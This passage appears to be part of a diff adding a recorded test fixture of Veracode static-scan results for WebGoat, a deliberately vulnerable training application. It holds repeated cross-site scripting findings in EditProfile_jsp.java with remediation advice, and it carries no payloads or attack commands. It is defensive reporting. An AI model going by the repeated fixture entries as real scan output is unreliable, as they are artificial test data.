+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"123\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"3\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"43\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"7\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"224\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"5\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"83\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"257\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"111\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"115\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
